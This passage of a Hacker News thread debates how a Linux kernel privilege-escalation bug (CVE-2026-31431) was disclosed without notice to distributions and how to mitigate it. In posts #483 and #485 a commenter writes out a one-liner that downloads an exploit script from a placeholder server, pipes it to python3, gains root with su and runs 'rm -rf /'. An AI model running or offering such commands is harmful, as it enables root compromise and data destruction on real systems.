Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

For Linux kernel vulnerabilities, there is no heads-up to distributions

openwall.com

Post reply on HN
Print view View original

481–490 of 578 posts

Re: For Linux kernel vulnerabilities, there is no heads-up to distributions

#481

Post by kasey_junk »

OvervCW wrote: post #460
kasey_junk wrote: post #452

Earlier quoted context omitted.

They didn’t release anything into the wild. It existed. The irresponsible thing would be letting it keep existing without telling anyone.

You cannot deny that telling the entire world about this vulnerability before it is patched won't cause a lot of abuse that would not have happened otherwise.

I do deny that, mostly because we’ve entered the time of automated vulnerability detection and abuse. A human need not be in the loop at all anymore.

But, even if I agreed with you, how do you propose they tell the patchers this that doesn’t tell the whole world?

Re: For Linux kernel vulnerabilities, there is no heads-up to distributions

#482

Post by hnfong »

sersi wrote: post #412

Interesting comment by Greg Kroah-Hartman when asked why the kernel team doesn't notify distros directly > Nope, sorry, we are NOT allowed to notify anyone about anything "ahead of time" otherwise we will have to tell everyone about everything. That's the only policy by which all the legal/governmental agencies have agreed to allow us to operate in, so we are stuck with it. I'd be interested in knowing more about tha…

Just a wild guess:

Given the potential impact a severe security issue in the kernel (like this one), it seems that the only process that is acceptable for government agencies of various countries (that deal with intelligence and national security) is to either keep secrets from everyone, or disclose them to everyone.

Otherwise, the entities on the priority disclosure list would basically have free access to zero day vulnerabilities. Then every country with a national intelligence agency would invent a distro and try to squeeze themselves onto that list, and things would become very political and ugly if the agents of any country can't get into that list...

Re: For Linux kernel vulnerabilities, there is no heads-up to distributions

#483

Post by i_think_so »

akerl_ wrote: post #474
i_think_so wrote: post #471

Earlier quoted context omitted.

The PoC exploit code in python (3.10+) fits comfortably in 1k bytes. An unminified version that works for even older versions of python is just a hair under a 1500 byte packet payload, modulo headers for your preferred method of delivery. I can only guess how much it could be shrunk down to only the shellcode. Now, y'all tell me, since I'm not a web guy. How hard is it going to be to tweak this lovely little pathogen…

I think you’re reading a ton into this vulnerability that is not there.

I wish you were right. But I've been testing every system I can and so far I'm yet to find one that isn't vulnerable.

  $ curl http://my.server.ip.addr/copy_fail_exp.py | python3 && su
  # rm -rf / &
25 seconds if I type it out by hand instead of copypasta. Sigh.

Re: For Linux kernel vulnerabilities, there is no heads-up to distributions

#484

Post by rcxdude »

pkoiralap wrote: post #264
whatevaa wrote: post #167

Stop blaming the reporter. Start asking kernel to fix their process. Linux kernel is no longer a toy project, it has full time employees employed by various companies. They should have handled notifying distributions. Not some rando.

It's one thing to report a vulnerability, another entirely to make a crazy exploit available for any tom, dick, and harry to take and use. It was irresponsible of whoever came up with it to release it in the world without first giving major distros a head's up.

A proof of concept is a very standard thing to include in a disclosure, almost table stakes nowadays because of the amount of bad reports. Once there's any disclosure there will be exploits developed and published anyway, it's not a meaningful difference.

Re: For Linux kernel vulnerabilities, there is no heads-up to distributions

#485

Post by akerl_ »

i_think_so wrote: post #483
akerl_ wrote: post #474

Earlier quoted context omitted.

I think you’re reading a ton into this vulnerability that is not there.

I wish you were right. But I've been testing every system I can and so far I'm yet to find one that isn't vulnerable. $ curl http://my.server.ip.addr/copy_fail_exp.py | python3 && su # rm -rf / & 25 seconds if I type it out by hand instead of copypasta. Sigh.

How many people do you let have local code execution on your systems? This is a local privilege escalation. They are relatively common. They are a big deal if you run a system that lets multiple untrusted users commingle code on a shared operating system.

Otherwise it’s not.

Re: For Linux kernel vulnerabilities, there is no heads-up to distributions

#486

Post by i_think_so »

tptacek wrote: post #477
i_think_so wrote: post #471

Earlier quoted context omitted.

The PoC exploit code in python (3.10+) fits comfortably in 1k bytes. An unminified version that works for even older versions of python is just a hair under a 1500 byte packet payload, modulo headers for your preferred method of delivery. I can only guess how much it could be shrunk down to only the shellcode. Now, y'all tell me, since I'm not a web guy. How hard is it going to be to tweak this lovely little pathogen…

You're freaking out about the exploit being written in Python and occupying only a small number of bytes. Are you the LLM that wrote Xint's terrible landing page? If so, I have questions.

Oh come on, you know what I'm saying. It's small when written in python, which means any skid can spew it into a server he's got a shell on and get root in 2 seconds. He doesn't need to hope there's already a compiler installed, nor does he need to download some big tool. Just:

  cat | python3 && su
  , Ctrl-D
And I'm sure it can be refined into something much more likable to the spooky types, if they haven't already done it.

Re: For Linux kernel vulnerabilities, there is no heads-up to distributions

#487

Post by tremon »

tptacek wrote: post #342
tremon wrote: post #302

Earlier quoted context omitted.

The kernel devs patched it! They patched it weeks ago FTFA: > I see that on the 11th of April 6.19.12 & 6.18.22 were released with the fix backported. > Longterm 6.12, 6.6, 6.1, 5.15, 5.10 have not received the fix and I don't see anything in the upstream stable queues yet as I write. I wouldn't go so far as to call this "the kernel devs patched it". Virtually none of the kernels that distro's are actually using toda…

None of this impacts disclosure norms. One important reason the clock starts ticking faster once any patch lands is that for serious attackers, the patch discloses the vulnerability. That's quadruply so in 2026, when many orgs are automatically pumping Linux patches through LLM pipelines to qualify them for exploitability. But it's been at least 15 years since "reversing means patches are effectively disclosures legi…

I'm not sure where in my post I challenged existing disclosure norms?

Re: For Linux kernel vulnerabilities, there is no heads-up to distributions

#488

Post by rcxdude »

Skywalker13 wrote: post #222
Denvercoder9 wrote: post #217

Earlier quoted context omitted.

Not having the module loaded doesn't mean you're not vulnerable, the kernel loads the module on-demand when it's needed. I tried the exploit on such a system, and it worked. However, not having the module loaded does mean that in normal operation you don't need the module, so the proposed mitigation of disabling the module is safe in the sense that it won't disrupt anything.

I don't know what exactly can load this module but the servers are running for many weeks and I suppose that if something will load this module, it stays loaded until the next reboot.. no ? I tried to rmmod on all servers and rmmod always returns `ERROR: Module algif_aead is not currently loaded`, that's why I think it's fine. Of course I take a look on https://security-tracker.debian.org/tracker/CVE-2026-31431 for t…

the kernel will autoload modules when they are needed. The fact that the module hasn't been loaded is an indication that the bug may not have been exploited, but it does not mean that you are not vulnerable to it. You need to block the module from loading or remove it entirely to mitigate the issue (which is what the first line of the recommended mitigation states).

Re: For Linux kernel vulnerabilities, there is no heads-up to distributions

#490

Post by tptacek »

zamalek wrote: post #384
tptacek wrote: post #343

Earlier quoted context omitted.

There is no such thing as "the responsible disclosure protocol". There's really no such thing as "responsible disclosure" at all, but "the responsible disclosure protocol" is a term I have literally never heard before. (I've been a vulnerability researcher since the mid-1990s, for what it's worth.)

https://en.wikipedia.org/wiki/Coordinated_vulnerability_disc... > In computer security, coordinated vulnerability disclosure (CVD, sometimes known as responsible disclosure) I guess you can learn something new after 36 years. If you are referring to what you quoted, your pedantry and sharpshooting would result in an incomplete English sentence: "that's why we have the responsible disclosure" is missing a noun. Now th…

I don't think you're going to bluff your way through this.
Post reply on HN